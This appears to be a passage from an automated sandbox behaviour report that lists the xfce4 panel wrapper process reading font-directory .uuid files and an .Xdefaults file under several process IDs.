Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5498)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
